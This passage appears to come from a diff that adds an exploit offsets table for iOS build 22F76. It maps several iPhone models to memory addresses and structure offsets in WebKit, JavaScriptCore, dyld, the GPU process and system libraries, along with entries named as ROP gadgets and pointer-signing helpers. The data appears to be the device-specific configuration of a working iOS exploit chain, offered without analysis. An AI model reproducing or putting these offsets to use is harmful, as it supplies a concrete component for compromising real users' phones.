0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 